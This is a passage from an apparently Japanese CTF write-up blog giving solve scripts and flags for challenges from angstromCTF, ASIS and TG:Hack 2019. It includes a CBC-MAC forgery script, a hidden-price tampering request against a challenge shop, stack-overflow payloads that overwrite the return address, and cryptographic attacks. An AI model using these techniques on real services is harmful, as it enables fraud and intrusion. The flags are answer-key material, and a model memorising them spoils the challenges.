der.decode(binascii.unhexlify(data.decode().split(': ')[1]))
r = np.array([c for c in der])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19003))

data = recvuntil(s, b'Choice: ')
print((data + b'1').decode())
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data.decode())

der.decode(binascii.unhexlify(data.decode().split(': ')[1]))
rs = np.array([c for c in der])

s = rs - r

with open('flag.enc', 'rb') as f:
    enc = f.read()

flag = decrypt(s, enc)
print(flag.decode())
actf{deep_into_that_darkness_learning_with_errors_goes}

Powerball (CRYPTO 200)

スクリプトの処理の概要は以下の通り。

balls: 0-4095のランダム整数値 6個
x    : 0-nのランダム整数値 6個
x表示
v入力

以下6回繰り返し
k = pow(v-x[i], d, n)
m.append((balls[i]+k) % n)
m表示

式を変えてballsを計算しやすくする。

m[i] = (balls[i] + pow(v-x[i], d, n)) % n
⇒m[i] - balls[i] = pow(v-x[i], d, n)
⇒pow(m[i] - balls[i], e, n) = v-x[i]

balls総当たりで上記が一致するものを探す。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

with open('public.txt', 'r') as f:
    n = int(f.readline()[3:])
    e = int(f.readline()[3:])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19001))

data = recvuntil(s, 'v: ')
x = eval(data.split('\n')[-3].split(': ')[1])
v = max(x)
print data + str(v)
s.sendall(str(v) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
m = eval(data.split(': ')[1])

for i in range(6):
    data = recvuntil(s, ': ')
    for b in range(4096):
        if pow(m[i] - b, e, n) == v - x[i]:
            print data + str(b)
            s.sendall(str(b) + '\n')
            break

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
actf{no_more_free_oblivious_transfers}

MAC Forgery (CRYPTO 220)

サーバの処理の流れは以下の通り。

・IV生成、welcomeメッセージのMACを生成
・IV+MAC表示
・Message入力(16進数)
・MAC入力(16進数):32バイト
・MessageとMACが妥当だとフラグ表示

mac()
・m
 ・パディング
 ・16バイトずつの配列に変換
 ・配列の先頭に配列数のバイト列を挿入
・t
 ・ivを設定
 ・iv   ^ m[0] -> c[0]
  c[0] ^ m[1] -> c[1]
  c[1] ^ m[2] -> c[2]

得られるMACは以下のようなイメージで得られる。

m[0]:サイズをビッグエンディアンで16バイトにしている。

iv   ^ m[0] -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7] -> MAC

サイズを7から15にし、以下のようになるよう、IVと平文を調整する。

iv   ^ s15  -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7]
c[7] ^ m[8] -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7]
import socket
import binascii
from Crypto.Util.number import long_to_bytes

BLOCK_SIZE = 16

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def pad(s):
    c = BLOCK_SIZE - len(s) % BLOCK_SIZE
    return s + chr(c) * c

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19002))

welcome = b'''\
If you provide a message (besides this one) with
a valid message authentication code, I will give
you the flag.'''

data = recvuntil(s, 'Message: ')
mac = data.split('\n')[-2].split(': ')[1]
iv = binascii.unhexlify(mac)[:16]
t = binascii.unhexlify(mac)[16:]

#### calculate new iv ####
org_pt0 = long_to_bytes(7, BLOCK_SIZE)
new_pt0 = long_to_bytes(15, BLOCK_SIZE)
new_iv = str_xor(str_xor(org_pt0, iv), new_pt0)

#### calculate 8th block of plaintext (begin 0) ####
new_pt8 = str_xor(str_xor(org_pt0, iv), t)

#### create message ####
new_msg = binascii.hexlify(pad(welcome) + new_pt8 + welcome)
print data + new_msg
s.sendall(new_msg + '\n')

#### create mac ####
new_mac = binascii.hexlify(new_iv + t)
data = recvuntil(s, 'MAC: ')
print data + new_mac
s.sendall(new_mac + '\n')

data = recvuntil(s, '\n')
print data
actf{initialization_vectors_were_probably_a_bad_idea}

ASIS CTF Quals 2019 Writeup

この大会は2019/4/20 15:00(JST)~2019/4/22 15:00(JST)に開催されました。
今回もチームで参戦。結果は367点で585チーム中70位でした。
メインの問題は一問も解けず、残念でした。
暗号1問はもう少し頑張ればできた気はしますが、本当に残念!
一応自分で解けた問題をWriteupとして書いておきます。

Survey (Cooldown)

アンケートに答えたら、フラグが表示された。

ASIS{Th<3nks_f0r_part!c!pat!ng_ASISCTF20190_0U@Finals!}

TG:Hack 2019 Writeup

この大会は2019/4/18 1:00(JST)~2019/4/21 1:00(JST)に開催されました。
今回は個人で参戦。結果は1325点で703チーム中70位でした。
解けた問題をWriteupとして書いておきます。

Welcome 1 (Misc 5)

問題にフラグが書いてあった。

TG19{I_am_a_fancy_flag_pls_submit_me!}

Welcome 2 (Misc 10)

Twitterの@tghack1337アカウントでフラグを見つけた。

TG19{tweet_like_a_easter_chicken_happy_easter!}

Welcome 3 (Misc 10)

instagramでフラグが書いてある画像を見つけた。
f:id:satou-y:20190424212037p:plain

TG19{happy_easter_hackers!}

Welcome 4 (Misc 10)

Discordの#tghackチャネルにフラグが書いてある。

TG19{do_not_hesitate_to_ask_questions!}

Hacking Mother's Network (Misc 10)

YouTubeを見てると、フラグが表示される。

TG19{join_us_at_tghack.no}

Bytecodes (Reverse engineering 50)

pycをデコンパイルする。

$ uncompyle6 main.pyc 
# uncompyle6 version 2.13.3
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
# [GCC 5.4.0 20160609]
# Embedded file name: main.py
# Compiled at: 2019-04-13 21:56:41
# Size of source mod 2**32: 514 bytes
import binascii
import sys

def print_flag():
    enc = '1605737b39323b362a2d2c1d203b3627212d26271d2b2c1d362a271d2a2d3731273f'
    enc = binascii.unhexlify(enc)
    key = 66
    dec = ''
    for i in enc:
        dec += chr(i ^ key)

    print(dec)


def main(code):
    if code == 1337:
        print_flag()
    else:
        print('wrong!')


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('error! missing magic code!')
        sys.exit()
    main(int(sys.argv[1]))
# okay decompiling main.pyc

このコードをmain.pyとして引数に1337を指定して実行する。

$ python3 main.py 1337
TG19{python_bytecode_in_the_house}
TG19{python_bytecode_in_the_house}

Filemagic (Forensics 70)

foremostで含まれているファイルを抽出する。

$ foremost store.bin 
Processing: store.bin
|*|

PNGファイルが抽出できて、フラグが書いてある。
f:id:satou-y:20190424212527p:plain

TG19{very_dough_much_loaf}

Superb Owlput (Forensics 150)

DNSの名前を並べるとjpgの形式になるので、結合する。

from scapy.all import *

packets = rdpcap('superb-owlput.pcap')

flag = ''
for p in packets:
    if p[IP].src == '172.19.1.50':
        if p.haslayer(DNSQR):
            flag += p[DNSQR].qname.split('.')[0]

flag = flag.decode('hex')

with open('flag.jpg', 'wb') as f:
    f.write(flag)

EXIFを見てみる。

$ exiftool flag.jpg
ExifTool Version Number         : 10.10
File Name                       : flag.jpg
Directory                       : .
File Size                       : 402 kB
File Modification Date/Time     : 2019:04:18 21:03:08+09:00
File Access Date/Time           : 2019:04:18 21:09:21+09:00
File Inode Change Date/Time     : 2019:04:18 21:03:08+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg
Y Cb Cr Positioning             : Centered
Image Width                     : 2380
Image Height                    : 3397
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2380x3397
Megapixels                      : 8.1

Artistの文字列をBase64デコードする。

$ echo VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg | base64 -d
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}
base64: 無効な入力
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}

Wandshop (Web 100)

Elder Wandの価格を1にして、購入する。

import requests
import re

url = 'https://wandshop.tghack.no/'

s = requests.Session()
r = s.get(url)
body = r.text
print body

pattern = '"csrfmiddlewaretoken" value="(.+)">'
m = re.search(pattern, body)
mwtoken = m.group(1)

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'add_cart', 'sku': '321', 'price': '1'}
r = s.post(url, data=payload)
body = r.text
print body

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'order'}
r = s.post(url, data=payload)
body = r.text
print body

実行結果は以下の通り。

<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1337 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1336 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

            <li>321 - 1</li>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>

    Yay! You ordered an Elder Wand. FLAG: TG19{Elder wand iz best wand}

</body>
</html>
TG19{Elder wand iz best wand}

Pwntions 1 (Pwn 50)

31文字適当に入れてみる。

$ nc pwntion1.tghack.no 1061
▄▄▌ ▐ ▄▌▄▄▄ .▄▄▌   ▄▄·       • ▌ ▄ ·. ▄▄▄ .    ▄▄▄▄▄                          
██· █▌▐█▀▄.▀·██•  ▐█ ▌▪▪     ·██ ▐███▪▀▄.▀·    •██  ▪                         
██▪▐█▐▐▌▐▀▀▪▄██▪  ██ ▄▄ ▄█▀▄ ▐█ ▌▐▌▐█·▐▀▀▪▄     ▐█.▪ ▄█▀▄                     
▐█▌██▐█▌▐█▄▄▌▐█▌▐▌▐███▌▐█▌.▐▌██ ██▌▐█▌▐█▄▄▌     ▐█▌·▐█▌.▐▌                    
 ▀▀▀▀ ▀▪ ▀▀▀ .▀▀▀ ·▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀ ▀▀▀      ▀▀▀  ▀█▄▀▪                    
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀


Professor maritio_o:
"As there is little foolish wand-waving here, many of you will
hardly believe this is magic. I don't expect you will really
understand the beauty of the softly simmering cauldron with
its shimmering fumes, the delicate power of liquids that
creep through the human veins, bewitching the minds, ensnaring
the senses... I can teach you how to bottle fame, brew glory,
and even stopper death - if you aren't as big a bunch of
dunderheads as I usually have to teach."

Student:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
TG19{remember that C always terminates on null bytes^_^}
TG19{remember that C always terminates on null bytes^_^}

Pwntions 2 (Pwn 75)

48バイトの後、整数値で1になっていればフラグが表示される。

$ python -c 'print "A"*48+"\x01\x00\x00\x00"' | nc pwntion2.tghack.no 1062
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐██▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 2 -------------------------------


Professor maritio_o:
> Welcome to the second class about stack overflow pwntions!
> Pls don't hesitate to ask questions!

Student:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Professor maritio_o:
> Excellent! Ten points to your house!
> TG19{Wow! You_may_also_stack_overflow_into_a_struct}
TG19{Wow! You_may_also_stack_overflow_into_a_struct}

Pwntions 3 (Pwn 100)

何バイトか指定しながら、EIPの値が変わるのを見ていく。

$ gdb -q pwntion3
Reading symbols from pwntion3...done.
gdb-peda$ r <<< `python -c 'print "A" * 20'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 20'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: [Inferior 1 (process 41267) exited normally]
gdb-peda$ r <<< `python -c 'print "A" * 100'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 100'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x65 (b'e')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414141 in ?? ()
gdb-peda$ r <<< `python -c 'print "A" * 44 + "BBBB"'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 44 + "BBBB"'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x31 (b'1')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 --> 0xffffcd0a --> 0xffff 
EIP: 0x42424242 (b'BBBB')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x42424242 in ?? ()

$ python -c 'print "A" * 44 + "\xb6\x86\x04\x08"' | nc pwntion3.tghack.no 1063
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 3 -------------------------------

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}★
/opt/wrap.sh: line 2:  3666 Segmentation fault      (core dumped) ./pwntion3
TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}

Echo Chamber (n00b 5)

表示されたものをそのまま答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('echo.tghack.no', 5555))

for i in range(50):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    print data
    s.sendall(data + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{behold_the_echo_chamber_of_secrets}

Math Bonanza (n00b 10)

1000回四則演算の問題に答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('math.tghack.no', 10000))

for i in range(1000):
    data = recvuntil(s, '\n').strip()
    print data
    formula = recvuntil(s, '\n').strip()
    print formula
    ans = str(eval(formula))
    data = recvuntil(s, ': ')
    print data + ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').strip()
    print data

data = recvuntil(s, '\n').strip()
print data
TG19{calculate_all_the_things}

Let's Hash it Out (n00b 20)

表示された文字列に対して、指定されたハッシュを答える。

import socket
import re
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hash.tghack.no', 2001))

data = recvuntil(s, 'luck!\n').strip()
print data

for i in range(1000):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    pattern = 'using (.+),'
    m = re.search(pattern, data)
    cat = m.group(1)

    data = recvuntil(s, '\n').strip()
    print data
    if cat == 'MD5':
        h = hashlib.md5(data).hexdigest()
    elif cat == 'SHA256':
        h = hashlib.sha256(data).hexdigest()
    elif cat == 'SHA512':
        h = hashlib.sha512(data).hexdigest()
    else:
        break
    data = recvuntil(s, ': ')
    print data + h
    s.sendall(h + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{one_order_of_sha256_hashbrowns_please}

American Standard Code for Information Interchange (Crypto 25)

ASCIIコードが並んでいるので、文字にしていく。

codes = '84 71 49 57 123 65 83 67 73 73 95 97 110 100 95 121 111 117 95 115 104 97 108 108 95 114 101 99 101 105 118 101 125'
codes = map(int, codes.split(' '))

flag = ''
for code in codes:
    flag += chr(code)

print flag
TG19{ASCII_and_you_shall_receive}

Land of Encoding (Crypto 25)

Base64デコードする。

$ echo VEcxOXtiZV9jYXJlZnVsX3doZW5fZHJvcHBpbmdfdGhlX2Jhc2V9 | base64 -d
TG19{be_careful_when_dropping_the_base}
TG19{be_careful_when_dropping_the_base}

Rotarius (Crypto 25)

